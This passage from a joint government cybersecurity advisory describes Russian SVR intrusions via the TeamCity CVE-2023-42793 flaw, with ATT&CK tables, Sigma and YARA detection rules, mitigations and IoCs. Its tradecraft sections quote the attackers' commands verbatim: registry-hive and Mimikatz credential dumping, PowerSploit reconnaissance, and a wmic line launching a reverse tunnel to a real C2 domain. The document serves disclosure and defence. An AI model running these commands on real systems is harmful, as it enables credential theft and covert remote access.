+C:\Windows\temp +C:\Windows\System32 +C:\Windows\WinStore +The SVR made all modifications using the schtasks.exe binary. It then had multiple variants of +arguments passed to schtasks.exe, which can be found in Appendix B + Indicators of +Compromise. +To secure long-term access to the environment, the SVR used the Rubeus toolkit to craft Ticket +Granting Tickets (TGTs) [T1558.001]. +Sensitive Data Exfiltration [T1020] +The SVR exfiltrated the following Windows Registry hives from its victims [T1003]: +HKLM\SYSTEM +HKLM\SAM +HKLM\SECURITY +In order to exfiltrate Windows Registry, the SVR saved hives into files [T1003.002], packed them, and +then exfiltrated them using a backdoor capability. it used +reg save + to save SYSTEM, SAM and +SECURITY registry hives, and used powershell to stage .zip archives in the C:\Windows\Temp\ +directory. +reg save HKLM\SYSTEM ""C:\Windows\temp\1\sy.sa"" /y +reg save HKLM\SAM ""C:\Windows\temp\1\sam.sa"" /y +reg save HKLM\SECURITY ""C:\Windows\temp\1\se.sa"" /y +powershell Compress-Archive -Path C:\Windows\temp\1\ -DestinationPath +C:\Windows\temp\s.zip -Force & del C:\Windows\temp\1 /F /Q +In a few specific cases, the SVR used the SharpChromium tool to obtain sensitive browser data such +as session cookies, browsing history, or saved logins. +SVR also used DSInternals open source tool to interact with Directory Services. DSInternals allows to +obtain a sensitive Domain information. +Network Reconnaissance +Page 6 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +After the SVR built a secure foothold and gained an awareness of a victim +s TeamCity server, it then +focused on network reconnaissance [T1590.004]. The SVR performed network reconnaissance using +a mix of built-in commands and additional tools, such as port scanner and PowerSploit, which it +launched into memory [T1046]. The SVR executed the following PowerSploit commands: +Get-NetComputer +Get-NetGroup +Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, +pwdlastset, logoncount, badpwdcount" +Get-NetDiDomain +Get-AdUser +Get-DomainUser -UserName +Get-NetUser -PreauthNotRequire +Get-NetComputer | select samaccountname +Get-NetUser -SPN | select serviceprincipalname +Tunneling into Compromised Environments +In selected environments the SVR used an additional tool named, +rr.exe +a modified open source +reverse socks tunneler named Rsockstun +to establish a tunnel to the C2 infrastructure [T1572]. +The authoring agencies are aware of the following infrastructure used in conjunction with +rr.exe +65.20.97[.]203:443 +Poetpages[.]com:8443 +The SVR executed Rsockstun either in memory or using the Windows Management Instrumentation +Command Line (WMIC) [T1047] utility after dropping it to disk: +wmic process call create "C:\Program Files\Windows Defender Advanced Threat +Protection\Sense.exe -connect poetpages.com -pass M554-0sddsf2@34232fsl45t31" +Lateral Movement +The SVR used WMIC to facilitate lateral movement [T1047],[T1210]. +wmic /node:"""" /user:""" /password:"""" process call create +""rundll32 C:\Windows\system32\AclNumsInvertHost.dll AclNumsInvertHost"" +The SVR also modified DisableRestrictedAdmin key to enable remote connections [T1210]. +It modified Registry using the following reg command: +reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v +DisableRestrictedAdmin /t REG_DWORD /d "0" /f +Adversary Toolset +In the course of the TeamCity operation, the SVR used multiple custom and open source available +tools and backdoors. The following custom tools were observed in use during the operation: +Page 7 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +GraphicalProton is a simplistic backdoor that uses OneDrive, Dropbox, and randomly +generated BMPs [T1027.001] to exchange data with the SVR operator. +After execution, GraphicalProton gathers environment information such as active TCP/UDP +connections [T1049], running processes [T1049], as well as user, host, and domain names +[T1590]. OneDrive is used as a primary communication channel while Dropbox is treated as a +backup channel [T1567]. API keys are hardcoded into the malware. When communicating with +cloud services, GraphicalProton generates a randomly named directory which is used to store +infection-specific BMP files - with both commands and results [T1564.001]. Directory name is +re-randomized each time the GraphicalProton process is started. +BMP files that were used to exchange data were generated in the following way: +1. Compress data using zlib, +2. Encrypt data using custom algorithm, +3. Add + string literal to encrypted data, +4. Create a random BMP with random rectangle, +5. And finally, encode encrypted data within lower pixel bits. +While the GraphicalProton backdoor has remained mostly unchanged over the months we have been +tracking it, to avoid detection the adversary wrapped the tool in various different layers of obfuscation, +encryption, encoders, and stagers. Two specific variants of GraphicalProton +packaging + are +especially noteworthy + a variant that uses DLL hijacking [T1574.002] in Zabbix as a means to start +execution (and potentially provide long-term, hard-to-detect access) and a variant that masks itself +within vcperf [T1036], an open-source C++ build analysis tool from Microsoft. +GraphicalProton HTTPS variant + a variant of GraphicalProton backdoor recently introduced +by the SVR that forgoes using cloud-based services as a C2 channel and instead relies on +HTTP request. +To legitimize the C2 channel, SVR used a re-registered expired domain set up with dummy +WordPress website. Execution of HTTPS variant of GraphicalProton is split into two files +stager and encrypted binary file that contains further code. +MITRE ATT&CK TACTICS AND TECHNIQUES +See below tables for all referenced threat actor tactics and techniques in this advisory. For additional +mitigations, see the Mitigations section. +Table 1: SVR Cyber Actors ATT&CK Techniques for Enterprise - Reconnaissance +Technique Title +Gather Victim Network +Information: Network Topology +T1590.004 +SVR cyber actors may gather +information about the victim +network topology that can be used +during targeting. +Page 8 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +Gather Victim Host Information: +Software +T1592.002 +SVR cyber actors may gather +information about the victim +s host +networks that can be used during +targeting. +Table 2: SVR Cyber Actors + ATT&CK Techniques for Enterprise + Initial Access +Technique Title +Exploit Public-Facing Application +T1190 +SVR cyber actors exploit internetconnected JetBrains TeamCity server +using CVE-2023-42793 for initial +access. +Table 3: SVR Cyber Actors + ATT&CK Techniques for Enterprise: Execution +Technique Title +Command and Scripting +Interpreter: PowerShell +T1059.001 +SVR cyber actors used powershell +commands to compress Microsoft +SQL server .dll files. +Command and Scripting +Interpreter: Windows Command +Shell +T1059.003 +SVR cyber actors execute these +powershell commands to perform +host reconnaissance: + powershell +([adsisearcher]"((samaccountn +ame=))").Findall().P +roperties + powershell +([adsisearcher]"((samaccountn +ame=))").Findall().P +roperties.memberof + powershell Get-WmiObject Class Win32_Service Computername + powershell Get-WindowsDriver +-Online -All +Exploitation for Client Execution +T1203 +SVR cyber actors leverage arbitrary +code execution after exploiting CVE2023-42793. +Page 9 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +Hijack Execution Flow: DLL +Side-Loading +T1574.002 +SVR cyber actors use a variant of +GraphicalProton that uses DLL +hijacking in Zabbix as a means to +start execution. +Table 4: SVR Cyber Actors + ATT&CK Techniques for Enterprise: Persistence +Technique Title +Scheduled Task +T1053.005 +SVR cyber actors may abuse +Windows Task Schedule to perform +task scheduling for initial or recurring +execution of malicious code. +Server Software Component: +SQL Stored Procedures +T1505.001 +SVR cyber actors abuse SQL server +stored procedures to maintain +persistence. +Boot or Logon Autostart +Execution +T1547 +SVR cyber actors used +C:\Windows\system32\ntoskrnl.exe +to configure automatic system boot +settings to maintain persistence. +Table 5: SVR Cyber Actors + ATT&CK Techniques for Enterprise: Privilege Escalation +Technique Title +Exploitation for Privilege +Escalation +T1068 +SVR cyber actors exploit JetBrains +TeamCity vulnerability to achieve +escalated privileges. +To avoid detection, the SVR cyber +actors used a +Bring Your Own +Vulnerable Driver + technique to +disable EDR and AV defense +mechanisms. +Account Manipulation +T1098 +SVR cyber actors may manipulate +accounts to maintain and/or elevate +access to victim systems. +Page 10 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +Table 6: SVR Cyber Actors + ATT&CK Techniques for Enterprise: Defense Evasion +Technique Title +Obfuscated Files or Information: +Binary Padding +T1027.001 +SVR cyber actors use BMPs to +perform binary padding while +exchange data is exfiltrated to an +their C2 station. +Masquerading +T1036 +SVR cyber actors use a variant that +uses DLL hijacking in Zabbix as a +means to start execution (and +potentially provide long-term, hard-todetect access) and a variant that +masks itself within vcperf, an opensource C++ build analysis tool from +Microsoft. +Process Injection +T1055 +SVR cyber actors inject code into AV +and EDR processes to evade +defenses. +Disable or Modify Tools +T1562.001 +SVR cyber actors may modify and/or +disable tools to avoid possible +detection of their malware/tools and +activities. +Hide Artifacts +T1564 +SVR cyber actors may attempt to +hide artifacts associated with their +behaviors to evade detection. +Hide Artifacts: Hidden Files and +Directories +T1564.001 +When communicating with cloud +services, GraphicalProton generates +a randomly named directory which is +used to store infection-specific BMP +files - with both commands and +results. +Table 7: SVR Cyber actors + ATT&CK Techniques for Enterprise: Credential Access +Technique Title +OS Credential Dumping: LSASS +Memory +T1003.001 +SVR cyber actors executed Mimikatz +commands in memory to gain access +to credentials stored in memory. +Page 11 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +OS Credential Dumping: Security T1003.002 +Account Manager +SVR cyber actors used: +privilege::debug +lsadump::cache +lsadump::secrets +lsadump::sam +sekurlsa::logonpasswords +Mimikatz commands to gain access +to credentials. +Additionally, SVR cyber actors +exfiltrated Windows registry hives to +steal credentials. +HKLM\SYSTEM +HKLM\SAM +HKLM\SECURITY +Credentials from Password +Stores: Credentials from Web +Browsers +T1555.003 +In a few specific cases, the SVR +used the SharpChromium tool to +obtain sensitive browser data such as +session cookies, browsing history, or +saved logins. +Steal or Forge Kerberos Tickets: +Golden Ticket +T1558.001 +To secure long-term access to the +environment, the SVR used the +Rubeus toolkit to craft Ticket +Granting Tickets (TGTs). +Table 8: SVR Cyber Actors ATT&CK Techniques for Enterprise: Discovery +Technique Title +System Owner/User Discovery +T1033 +SVR cyber actors use these built-in +commands to perform host +reconnaissance: whoami /priv, +whoami / all, whoami / groups, +whoami / domain to perform user +discovery. +Network Service Discovery +T1046 +SVR cyber actors performed +network reconnaissance using a +mix of built-in commands and +additional tools, such as port +scanner and PowerSploit. +Page 12 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +Process Discovery +T1057 +SVR cyber actors use +GraphicalProton to gather running +processes data. +Gather Victim Network +Information +T1590 +SVR cyber actors use +GraphicalProton to gather victim +network information. +Table 9: SVR Cyber Actors ATT&CK Techniques for Enterprise: Lateral Movement +Technique Title +Exploitation of Remote Services +T1210 +SVR cyber actors may exploit remote +services to gain unauthorized access +to internal systems once inside a +network. +Windows Management +Instrumentation +T1047 +SVR cyber actors executed +Rsockstun either in memory or +using Windows Management +Instrumentation (WMI) to execute +malicious commands and +payloads. +wmic process call create +"C:\Program Files\Windows +Defender Advanced Threat +Protection\Sense.exe -connect +poetpages.com -pass M5540sddsf2@34232fsl45t31" +Table 10: SVR Cyber Actors ATT&CK Techniques for Enterprise: Command and Control +Technique Title +Dynamic Resolution +T1568 +SVR may dynamically establish +connections to command-and-control +infrastructure to evade common +detections and remediations. +Protocol Tunneling +T1572 +SVR cyber actors may tunnel +network communications to and +from a victim system within a +separate protocol to avoid +detection/network filtering and/or +enable access to otherwise +unreachable systems. +Page 13 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +In selected environments, the SVR +used an additional tool named, +rr.exe +a modified open source +reverse socks tunneler named +Rsockstunm +to establish a tunnel +to the C2 infrastructure. +Table 11: SVR Cyber Actors ATT&CK Techniques for Enterprise: Exfiltration +Technique Title +Automated Exfiltration +T1020 +SVR cyber actors may exfiltrate data, +such as sensitive documents, +through the use of automated +processing after being gathered +during collection. +Exfiltration Over C2 Channel +T1041 +SVR cyber actors may steal data +by exfiltrating it over an existing C2 +channel. Stolen data is encoded +into normal communications using +the same protocol as C2 +communications. +Exfiltration Over Web Service +T1567 +SVR cyber actors use OneDrive +and Dropbox to exfiltrate data to +their C2 station. +INDICATORS OF COMPROMISE +Note: Please refer to Appendix B for a list of IOCs. +VICTIM TYPES +As a result of this latest SVR cyber activity, the FBI, CISA, NSA, SKW, CERT Polska, and NCSC +have identified a few dozen compromised companies in the United States, Europe, Asia, and +Australia, and are aware of over a hundred compromised devices though we assess this list does not +represent the full set of compromised organizations. Generally, the victim types do not fit into any sort +of pattern or trend, aside from having an unpatched, Internet-reachable JetBrains TeamCity server, +leading to the assessment that SVR +s exploitation of these victims + networks was opportunistic in +nature and not necessarily a targeted attack. Identified victims included: an energy trade association; +companies that provide software for billing, medical devices, customer care, employee monitoring, +financial management, marketing, sales, and video games; as well as hosting companies, tools +manufacturers, and small and large IT companies. +Page 14 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +DETECTION METHODS +The following rules can be used to detect activity linked to adversary activity. These rules should +serve as examples and adapt to each organization +s environment and telemetry. +SIGMA rules +Presented SIGMA rules target identified operators + behavior patterns and can be used for the threat +hunting against collected logs. +title: Privilege information listing via whoami +description: Detects whoami.exe execution and listing of privileges +author: +references: https://learn.microsoft.com/en-us/windows-server/administration/windowscommands/whoami +date: 2023/11/15 +logsource: +category: process_creation +product: windows +detection: +selection: +Image|endswith: +- 'whoami.exe' +CommandLine|contains: +- 'priv' +- 'PRIV' +condition: selection +falsepositives: legitimate use by system administrator +title: DC listing via nltest +description: Detects nltest.exe execution and DC listing +author: +references: +date: 2023/11/15 +logsource: +category: process_creation +product: windows +detection: +selection: +Image|endswith: +- 'nltest.exe' +CommandLine|re: '.*dclist\:.*|.*DCLIST\:.*|.*dsgetdc\:.*|.*DSGETDC\:.*' +condition: selection +falsepositives: legitimate use by system administrator +title: DLL execution via WMI +description: Detects DLL execution via WMI +author: +references: +date: 2023/11/15 +Page 15 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +logsource: +category: process_creation +product: windows +detection: +selection: +Image|endswith: +- 'WMIC.exe' +CommandLine|contains|all: +- 'call' +- 'rundll32' +condition: selection +falsepositives: legitimate use by software or system administrator +title: Process with connect and pass as args +description: Process with connect and pass as args +author: +references: +date: 2023/11/15 +logsource: +category: process_creation +product: windows +detection: +selection: +CommandLine|contains|all: +- 'pass' +- 'connect' +condition: selection +falsepositives: legitimate use of rsockstun or software with exact same arguments +title: Service or Drive enumeration via powershell +description: Service or Drive enumeration via powershell +author: +references: +date: 2023/11/15 +logsource: +category: ps_script +product: windows +detection: +selection_1: +ScriptBlockText|contains|all: +- 'Get-WmiObject' +- '-Class' +- 'Win32_Service' +selection_2: +ScriptBlockText|contains|all: +- 'Get-WindowsDriver' +- '-Online' +- '-All' +condition: selection_1 or selection_2 +Page 16 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +falsepositives: legitimate use by system administrator +title: Compressing files from temp to temp +description: Compressing files from temp\ to temp used by SVR to prepare data to be +exfiltrated +references: +author: +date: 2023/11/15 +logsource: +category: ps_script +product: windows +detection: +selection: +ScriptBlockText|re: '.*Compress\-Archive.*Path.*Windows\\[Tt]{1}emp\\[19]{1}.*DestinationPath.*Windows\\[Tt]{1}emp\\.*' +condition: selection +title: DLL names used by SVR for GraphicalProton backdoor +description: Hunts for known SVR-specific DLL names. +references: +author: +date: 2023/11/15 +logsource: +category: image_load +product: windows +detection: +selection: +ImageLoaded|endswith: +- 'AclNumsInvertHost.dll' +- 'ModeBitmapNumericAnimate.dll' +- 'UnregisterAncestorAppendAuto.dll' +- 'DeregisterSeekUsers.dll' +- 'ScrollbarHandleGet.dll' +- 'PerformanceCaptionApi.dll' +- 'WowIcmpRemoveReg.dll' +- 'BlendMonitorStringBuild.dll' +- 'HandleFrequencyAll.dll' +- 'HardSwapColor.dll' +- 'LengthInMemoryActivate.dll' +- 'ParametersNamesPopup.dll' +- 'ModeFolderSignMove.dll' +- 'ChildPaletteConnected.dll' +- 'AddressResourcesSpec.dll' +condition: selection +title: Sensitive registry entries saved to file +description: Sensitive registry entries saved to file +author: +references: +date: 2023/11/15 +logsource: +Page 17 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +category: process_creation +product: windows +detection: +selection_base: +Image|endswith: +- 'reg.exe' +CommandLine|contains: 'save' +CommandLine|re: '.*HKLM\\SYSTEM.*|.*HKLM\\SECURITY.*|.*HKLM\\SAM.*' +selection_file: +CommandLine|re: '.*sy\.sa.*|.*sam\.sa.*|.*se\.sa.*' +condition: selection_base and selection_file +title: Scheduled tasks names used by SVR for GraphicalProton backdoor +description: Hunts for known SVR-specific scheduled task names +author: +references: +date: 2023/11/15 +logsource: +category: taskscheduler +product: windows +detection: +selection: +EventID: +- 4698 +- 4699 +- 4702 +TaskName: +- '\Microsoft\Windows\IISUpdateService' +- '\Microsoft\Windows\WindowsDefenderService' +- '\Microsoft\Windows\WindowsDefenderService2' +- '\Microsoft\DefenderService' +- '\Microsoft\Windows\DefenderUPDService' +- '\Microsoft\Windows\WiMSDFS' +- '\Microsoft\Windows\Application Experience\StartupAppTaskCkeck' +- '\Microsoft\Windows\Windows Error Reporting\SubmitReporting' +- '\Microsoft\Windows\Windows Defender\Defender Update Service' +- '\WindowUpdate' +- '\Microsoft\Windows\Windows Error Reporting\CheckReporting' +- '\Microsoft\Windows\Application Experience\StartupAppTaskCheck' +- '\Microsoft\Windows\Speech\SpeechModelInstallTask' +- '\Microsoft\Windows\Windows Filtering Platform\BfeOnServiceStart' +- '\Microsoft\Windows\Data Integrity Scan\Data Integrity Update' +- '\Microsoft\Windows\WindowsUpdate\Scheduled AutoCheck' +- '\Microsoft\Windows\ATPUpd' +- '\Microsoft\Windows\Windows Defender\Service Update' +- '\Microsoft\Windows\WindowsUpdate\Scheduled Check' +- '\Microsoft\Windows\WindowsUpdate\Scheduled AutoCheck' +- '\Defender' +- '\defender' +- '\\Microsoft\\Windows\\IISUpdateService' +- '\\Microsoft\\Windows\\WindowsDefenderService' +Page 18 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +- '\\Microsoft\\Windows\\WindowsDefenderService2' +- '\\Microsoft\\DefenderService' +- '\\Microsoft\\Windows\\DefenderUPDService' +- '\\Microsoft\\Windows\\WiMSDFS' +- '\\Microsoft\\Windows\\Application Experience\\StartupAppTaskCkeck' +- '\\Microsoft\\Windows\\Windows Error Reporting\\SubmitReporting' +- '\\Microsoft\\Windows\\Windows Defender\\Defender Update Service' +- '\\WindowUpdate' +- '\\Microsoft\\Windows\\Windows Error Reporting\\CheckReporting' +- '\\Microsoft\\Windows\\Application Experience\\StartupAppTaskCheck' +- '\\Microsoft\\Windows\\Speech\\SpeechModelInstallTask' +- '\\Microsoft\\Windows\\Windows Filtering Platform\\BfeOnServiceStart' +- '\\Microsoft\\Windows\\Data Integrity Scan\Data Integrity Update' +- '\\Microsoft\\Windows\\WindowsUpdate\\Scheduled AutoCheck' +- '\\Microsoft\\Windows\\ATPUpd' +- '\\Microsoft\\Windows\\Windows Defender\\Service Update' +- '\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Check' +- '\\Microsoft\\Windows\\WindowsUpdate\\Scheduled AutoCheck' +- '\\Defender' +- '\\defender' +condition: selection +title: Scheduled tasks names used by SVR for GraphicalProton backdoor +description: Hunts for known SVR-specific scheduled task names +author: +references: +date: 2023/11/15 +logsource: +category: process_creation +product: windows +detection: +selection: +Image|endswith: +- 'schtasks.exe' +CommandLine|contains: +- 'IISUpdateService' +- 'WindowsDefenderService' +- 'WindowsDefenderService2' +- 'DefenderService' +- 'DefenderUPDService' +- 'WiMSDFS' +- 'StartupAppTaskCkeck' +- 'SubmitReporting' +- 'Defender Update Service' +- 'WindowUpdate' +- 'CheckReporting' +- 'StartupAppTaskCheck' +- 'SpeechModelInstallTask' +- 'BfeOnServiceStart' +- 'Data Integrity Update' +- 'Scheduled AutoCheck' +- 'ATPUpd' +Page 19 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +- 'Service Update' +- 'Scheduled Check' +- 'Scheduled AutoCheck' +- 'Defender' +- 'defender' +selection_re: +Image|endswith: +- 'schtasks.exe' +CommandLine|re: +- '.*Defender\sUpdate\sService.*' +- '.*Data\sIntegrity\sUpdate.*' +- '.*Scheduled\sAutoCheck.*' +- '.*Service\sUpdate.*' +- '.*Scheduled\sCheck.*' +- '.*Scheduled\sAutoCheck.*' +condition: selection or selection_re +title: Suspicious registry modifications +description: Suspicious registry modifications +author: +references: +date: 2023/11/15 +logsource: +category: registry_set +product: windows +detection: +selection: +EventID: 4657 +TargetObject|contains: +- 'CurrentControlSet\\Control\\Lsa\\DisableRestrictedAdmin' +- 'CurrentControlSet\\Control\\Lsa\\NoLMHash' +condition: selection +title: Registry modification from cmd +description: Registry modification from cmd +author: +references: +date: 2023/11/15 +logsource: +category: process_creation +product: windows +detection: +selection: +Image|endswith: +- 'reg.exe' +CommandLine|contains|all: +- 'CurrentControlSet' +- 'Lsa' +Page 20 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +CommandLine|contains: +- 'DisableRestrictedAdmin' +- 'NoLMHash' +condition: selection +title: Malicious Driver Load +description: Detects the load of known malicious drivers via their names or hash. +references: +- https://github.com/wavestone-cdt/EDRSandblast#edr-drivers-and-processes-detection +author: +date: 2023/11/15 +logsource: +category: driver_load +product: windows +detection: +selection_name: +ImageLoaded|endswith: +- 'RTCore64.sys' +- 'DBUtils_2_3.sys' +selection_hash: +Hashes|contains: +- '01aa278b07b58dc46c84bd0b1b5c8e9ee4e62ea0bf7a695862444af32e87f1fd' +- '0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5' +condition: selection_name or selection_hash +YARA rules +The following rule detects most known GraphicalProton variants. +rule APT29_GraphicalProton { +strings: +// C1 E9 1B +ecx, 1Bh +// 48 8B 44 24 08 +rax, [rsp+30h+var_28] +// 8B 50 04 +edx, [rax+4] +// C1 E2 05 +edx, 5 +// 09 D1 +ecx, edx +// 48 8B 44 24 08 +rax, [rsp+30h+var_28] +$op_string_crypt = { c1 e? (1b | 18 | 10 | 13 | 19 | 10) 48 [4] 8b [2] c1 e? (05 | +08 | 10 | 0d | 07) 09 ?? 48 } +// 48 05 20 00 00 00 +// 48 89 C1 +// 48 8D 15 0A A6 0D 00 +// 41 B8 30 00 00 00 +// E8 69 B5 FE FF +// 48 8B 44 24 30 +// 48 05 40 00 00 00 +// 48 89 C1 +// 48 8D 15 1B A6 0D 00 +// 41 B8 70 01 00 00 +// E8 49 B5 FE FF +// 48 8B 44 24 30 +call +call +rax, 20h ; ' ' +rcx, rax +rdx, unk_14011E546 +r8d, 30h ; '0' +sub_14002F4B0 +rax, [rsp+88h+var_58] +rax, 40h ; '@' +rcx, rax +rdx, unk_14011E577 +r8d, 170h +sub_14002F4B0 +rax, [rsp+88h+var_58] +Page 21 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +// 48 05 60 00 00 00 +rax, 60h ; '`' +// 48 89 C1 +rcx, rax +// 48 8D 15 6C A7 0D 00 +rdx, unk_14011E6E8 +// 41 B8 2F 00 00 00 +r8d, 2Fh ; '/' +// E8 29 B5 FE FF +call +sub_14002F4B0 +// 48 8B 44 24 30 +rax, [rsp+88h+var_58] +// 48 05 80 00 00 00 +rax, 80h +// 48 89 C1 +rcx, rax +// 48 8D 15 7C A7 0D 00 +rdx, unk_14011E718 +// 41 B8 2F 00 00 00 +r8d, 2Fh ; '/' +// E8 09 B5 FE FF +call +sub_14002F4B0 +// 48 8B 44 24 30 +rax, [rsp+88h+var_58] +// 48 05 A0 00 00 00 +rax, 0A0h +$op_decrypt_config = { +48 05 20 00 00 00 48 89 C1 48 [6] 41 B8 ?? ?? 00 00 E8 [4] 48 [4] +48 05 40 00 00 00 48 89 C1 48 [6] 41 B8 ?? ?? 00 00 E8 [4] 48 [4] +48 05 60 00 00 00 48 89 C1 48 [6] 41 B8 ?? ?? 00 00 E8 [4] 48 [4] +48 05 80 00 00 00 48 89 C1 48 [6] 41 B8 ?? ?? 00 00 E8 [4] 48 [4] +48 05 A0 00 00 00 +condition: +all of them +Note: These rules are meant for threat hunting and have not been tested on a larger dataset. +MITIGATIONS +The FBI, CISA, NSA, SKW, CERT Polska, and NCSC assess the scope and indiscriminate targeting of +this campaign poses a threat to public safety and recommend organizations implement the mitigations +below to improve organization +s cybersecurity posture. These mitigations align with the Cross-Sector +Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards +and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and +NIST recommend all organizations implement. CISA and NIST based the CPGs on existing +cybersecurity frameworks and guidance to protect against the most common and impactful threats, +tactics, techniques, and procedures. Visit CISA +s Cross-Sector Cybersecurity Performance Goals for +more information on the CPGs, including additional recommended baseline protections. +Apply available patches for CVE-2023-42793 issued by JetBrains TeamCity in midSeptember 2023, if not already completed. +Monitor the network for evidence of encoded commands and execution of network scanning +tools. +Ensure host-based anti-virus/endpoint monitoring solutions are enabled and set to alert if +monitoring or reporting is disabled, or if communication is lost with a host agent for more than a +reasonable amount of time. +Require use of multi-factor authentication [CPG 1.3] for all services to the extent possible, +particularly for email, virtual private networks, and accounts that access critical systems. +Page 22 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +Organizations should adopt multi-factor authentication (MFA) as an additional layer of +security for all users with access to sensitive data. Enabling MFA significantly reduces the +risk of unauthorized access, even if passwords are compromised. +Keep all operating systems, software, and firmware up to date. Immediately configure +newly-added systems to the network, including those used for testing or development work, to +follow the organization +s security baseline and incorporate into enterprise monitoring tools. +Audit log files to identify attempts to access privileged certificates and creation of fake identity +providers. +Deploy software to identify suspicious behavior on systems. +Deploy endpoint protection systems with the ability to monitor for behavioral indicators of +compromise. +Use available public resources to identify credential abuse with cloud environments. +Configure authentication mechanisms to confirm certain user activities on systems, including +registering new devices. +VALIDATE SECURITY CONTROLS +In addition to applying mitigations, FBI, CISA, NSA, SKW, CERT Polska, and NCSC recommend +exercising, testing, and validating your organization's security program against the threat behaviors +mapped to the MITRE ATT&CK for Enterprise framework in this advisory. FBI, CISA, NSA, SKW, +CERT Polska, and NCSC recommend testing your existing security controls inventory to assess how +they perform against the ATT&CK techniques described in this advisory. +To get started: +Select an ATT&CK technique described in this advisory (see previous tables). +Align your security technologies against the technique. +Test your technologies against the technique. +Analyze your detection and prevention technologies + performance. +Repeat the process for all security technologies to obtain a set of comprehensive performance +data. +6. Tune your security program, including people, processes, and technologies, based on the +data generated by this process. +FBI, CISA, NSA, SKW, CERT Polska, and NCSC recommend continually testing your security +program, at scale, in a production environment to ensure optimal performance against the MITRE +ATT&CK techniques identified in this advisory. +REFERENCES +FBI, DHS, CISA, Joint Cyber Security Advisory, Russian Foreign Intelligence Service (SVR) +Cyber Operations: Trends and Best Practices for Network Defenders +NSA, CISA, FBI, Joint Cyber Security Advisory, Russian SVR Targets U.S. and Allied +Networks +CISA, Remediating Networks Affected by the Solarwinds and Active Directory/M365 +Compromise +Page 23 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +CISA, Alert (AA21-008A), Detecting Post-Compromise Threat Activity in Microsoft Cloud +Environments +CISA, Alert (AA20-352A), Advanced Persistent Threat Compromise of Government Agencies, +Critical Infrastructure, and Private Sector Organizations +CISA, CISA Insights, What Every Leader Needs to Know About the Ongoing APT Cyber +Activity +FBI, CISA, Joint Cybersecurity Advisory, Advanced Persistent Threat Actors Targeting U.S. +Think Tanks +CISA, Malicious Activity Targeting COVID-19 Research, Vaccine Development +NCSC, CSE, NSA, CISA, Advisory: APT 29 Targets COVID-19 Vaccine Development +The information in this report is being provided +as is + for informational purposes only. FBI, CISA, +NSA, SKW, CERT Polska, and NCSC do not endorse any commercial entity, product, company, or +service, including any entities, products, or services linked within this document. Any reference to +specific commercial entities, products, processes, or services by service mark, trademark, +manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring +by FBI, CISA, NSA, SKW, CERT Polska, and NCSC. +VERSION HISTORY +December 12, 2023: Initial version. +Page 24 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +APPENDIX A + INDICATORS OF COMPROMISE CVE-2023-42793 +On a Windows system, the log file C:\TeamCity\logs\teamcity-server.log will contain a log +message when an attacker modified the internal.properties file. There will also be a log message +for every process created via the /app/rest/debug/processes endpoint. In addition to showing the +command line used, the user ID of the user account whose authentication token was used during the +attack is also shown. For example: +[2023-09-26 11:53:46,970] +INFO - ntrollers.FileBrowseController - File +edited: C:\ProgramData\JetBrains\TeamCity\config\internal.properties by +user with id=1 +[2023-09-26 11:53:46,970] +INFO - s.buildServer.ACTIVITIES.AUDIT server_file_change: File +C:\ProgramData\JetBrains\TeamCity\config\internal.properties was modified +by "user with id=1" +[2023-09-26 11:53:58,227] +INFO - tbrains.buildServer.ACTIVITIES External process is launched by user user with id=1. Command line: cmd.exe +"/c whoami" +An attacker may attempt to cover their tracks by wiping this log file. It does not appear that TeamCity +logs individual HTTP requests, but if TeamCity is configured to sit behind a HTTP proxy, the HTTP +proxy may have suitable logs showing the following target endpoints being accessed: +/app/rest/users/id:1/tokens/RPC2 + This endpoint is required to exploit the vulnerability. +/app/rest/users + This endpoint is only required if the attacker wishes to create an arbitrary +user. +/app/rest/debug/processes + This endpoint is only required if the attacker wishes to create +an arbitrary process. +Note: The user ID value may be higher than 1. +Page 25 of 27 | Product ID: AA23-347A +TLP:CLEAR +TLP:CLEAR +International Partnership +APPENDIX B + IOCS +File IoCs +GraphicalProton backdoor: +01B5F7094DE0B2C6F8E28AA9A2DED678C166D615530E595621E692A9C0240732 +34C8F155601A3948DDB0D60B582CFE87DE970D443CC0E05DF48B1A1AD2E42B5E +620D2BF14FE345EEF618FDD1DAC242B3A0BB65CCB75699FE00F7C671F2C1D869 +773F0102720AF2957859D6930CD09693824D87DB705B3303CEF9EE794375CE13 +7B666B978DBBE7C032CEF19A90993E8E4922B743EE839632BFA6D99314EA6C53 +8AFB71B7CE511B0BCE642F46D6FC5DD79FAD86A58223061B684313966EFEF9C7 +971F0CED6C42DD2B6E3EA3E6C54D0081CF9B06E79A38C2EDE3A2C5228C27A6DC 